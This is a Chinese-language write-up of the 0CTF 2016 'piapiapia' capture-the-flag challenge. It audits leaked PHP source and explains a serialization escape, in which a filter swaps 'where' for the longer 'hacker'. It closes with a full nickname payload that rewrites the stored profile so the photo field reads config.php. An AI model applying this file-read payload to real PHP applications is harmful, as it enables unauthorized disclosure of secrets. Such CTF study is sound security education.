2016 0CTF—piapiapia
尝试
- 典型的登录界面,F12没有发现信息
- 御剑扫、源码泄露扫无果(由于后台路由的匹配问题,导致很多路径都返回的200)
- 弱口令爆破admin无果
- 登录界面猜测是否有register,发现/register.php
- dirsearch扫出了源码www.zip
代码审计
php代码审计,先拿Seay审计一下看下大概会有什么漏洞
对于1、2两个点,提到的都是一个问题,应该不会有漏洞,后续看了代码也发现在调用sql语句时进行了filter函数的过滤
对于4这个点,上传后文件名被md5也就无法解析成php,也不存在文件上传漏洞。
这下只剩下3这个点,我们可以看到这个敏感函数file_get_contents($profile[‘photo’]),那么能不能通过控制photo来控制文件内容把flag读出来呢?
又发现在config.php中有flag的标识
那么基本可以确定思路就是想方设法来控制photo从而读出config.php的内容
部分源码:
class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100
| <?php require('config.php');
class user extends mysql{ private $table = 'users';
public function is_exists($username) { $username = parent::filter($username);
$where = "username = '$username'"; return parent::select($this->table, $where); } public function register($username, $password) { $username = parent::filter($username); $password = parent::filter($password);
$key_list = Array('username', 'password'); $value_list = Array($username, md5($password)); return parent::insert($this->table, $key_list, $value_list); } public function login($username, $password) { $username = parent::filter($username); $password = parent::filter($password);
$where = "username = '$username'"; $object = parent::select($this->table, $where); if ($object && $object->password === md5($password)) { return true; } else { return false; } } public function show_profile($username) { $username = parent::filter($username);
$where = "username = '$username'"; $object = parent::select($this->table, $where); return $object->profile; } public function update_profile($username, $new_profile) { $username = parent::filter($username); $new_profile = parent::filter($new_profile);
$where = "username = '$username'"; return parent::update($this->table, 'profile', $new_profile, $where); } public function __tostring() { return __class__; } }
class mysql { private $link = null;
public function connect($config) { $this->link = mysql_connect( $config['hostname'], $config['username'], $config['password'] ); mysql_select_db($config['database']); mysql_query("SET sql_mode='strict_all_tables'");
return $this->link; }
public function select($table, $where, $ret = '*') { $sql = "SELECT $ret FROM $table WHERE $where"; $result = mysql_query($sql, $this->link); return mysql_fetch_object($result); }
public function insert($table, $key_list, $value_list) { $key = implode(',', $key_list); $value = '\'' . implode('\',\'', $value_list) . '\''; $sql = "INSERT INTO $table ($key) VALUES ($value)"; return mysql_query($sql); }
public function update($table, $key, $value, $where) { $sql = "UPDATE $table SET $key = '$value' WHERE $where"; return mysql_query($sql); }
public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); } public function __tostring() { return __class__; } } session_start(); $user = new user(); $user->connect($config);
|
update.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username']; if(!preg_match('/^\d{11}$/', $_POST['phone'])) die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email'])) die('Invalid email'); if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) die('Invalid nickname');
$file = $_FILES['photo']; if($file['size'] < 5 or $file['size'] > 1000000) die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name'])); $profile['phone'] = $_POST['phone']; $profile['email'] = $_POST['email']; $profile['nickname'] = $_POST['nickname']; $profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile)); echo 'Update Profile Success!<a href="profile.php">Your Profile</a>'; } else { ?>
|
profile.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } $username = $_SESSION['username']; $profile=$user->show_profile($username); if($profile == null) { header('Location: update.php'); } else { $profile = unserialize($profile); $phone = $profile['phone']; $email = $profile['email']; $nickname = $profile['nickname']; $photo = base64_encode(file_get_contents($profile['photo'])); ?>
|
分析如下:
photo来自profile,在profile.php中我们可以发现photo的显示其实是读取了该用户的profile
$profile=$user->show_profile($username);
那么肯定有某处是执行函数存储了该用户的profile
在update.php中我们可以看到这些设置profile的操作
1 2 3 4 5 6 7
| $profile['phone'] = $_POST['phone']; $profile['email'] = $_POST['email']; $profile['nickname'] = $_POST['nickname']; $profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile)); echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
|
在profile.php中有
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } $username = $_SESSION['username']; $profile=$user->show_profile($username); if($profile == null) { header('Location: update.php'); } else { $profile = unserialize($profile); $phone = $profile['phone']; $email = $profile['email']; $nickname = $profile['nickname']; $photo = base64_encode(file_get_contents($profile['photo'])); ?>
|
该逻辑是,对于登录的用户跳转至profile.php,如果profile没有设置,则跳转至update.php进行profile的设置,否则就显示出profile的内容。
那么这里就很好理解了,初次登录,控制profile的photo,再次登录让它回显出config.php的base64内容
漏洞利用
反序列化逃逸
在update.php中有这么一行代码:
1
| $user->update_profile($username, serialize($profile));
|
即存储了profile的序列化,但是这里的update_profile函数
1 2 3 4 5 6 7
| public function update_profile($username, $new_profile) { $username = parent::filter($username); $new_profile = parent::filter($new_profile);
$where = "username = '$username'"; return parent::update($this->table, 'profile', $new_profile, $where); }
|
这里调用了filter函数
1 2 3 4 5 6 7 8 9
| public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); }
|
fileter函数中进行了对单引号、双反斜杠的过滤,以及将select、insert、update、delete、where字符串替换成hacker。这里就会出现一个问题,只有where是长度为5的字符串,即如果字符串中有where会被替换成字符串长度为6的hacker字符串。
来看一下一个在线测试
对于unserialize()
而言,这个函数会忽略能够正常序列化的字符串后面的字符串
上图也可以看出来,s:10:”hacker1234”就已经符合了正常的序列化,因此后续的字符串被忽略
而如果字符串中有where字符,由于是先反序列化后进行的过滤操作,导致会逃逸出一个字符。对于photo而言,我们是否能够想办法在前面的某些参数位置处产生溢出,从而控制后面的photo参数呢?(正常的序列化后的结果中,photo是最后一个参数)
来看update.php中的初始化profile操作
1 2
| if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) die('Invalid nickname');
|
对于nickname这个参数,看到熟悉的preg_match和strlen,都可以用数组绕过,于是nickname就完全可控
来看一下测试
可以发现如果对nickname中输入了where,unserialize()会报错,因为长度不匹配构不成完整的正常序列化。
(实际注册账号填入信息试了一下,果真会报错,而不输入黑名单字符则会正常回显profile)
那么我们接下来就构造特殊的payload让其在逃逸后变成正常的序列化同时又满足读出config内容。
payload如下:
1
| nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php
|
因为我们需要闭合填充的字符串为";}s:5: "photo";s:10: "config.php
一共多出来31个字符,因此前面需要31个where
也可以填充";}s:5:"photo";s:10:"config.php";}
(后面有原本的闭合,也可以自己添加,反正后续多余的会被忽略),此时需要34个where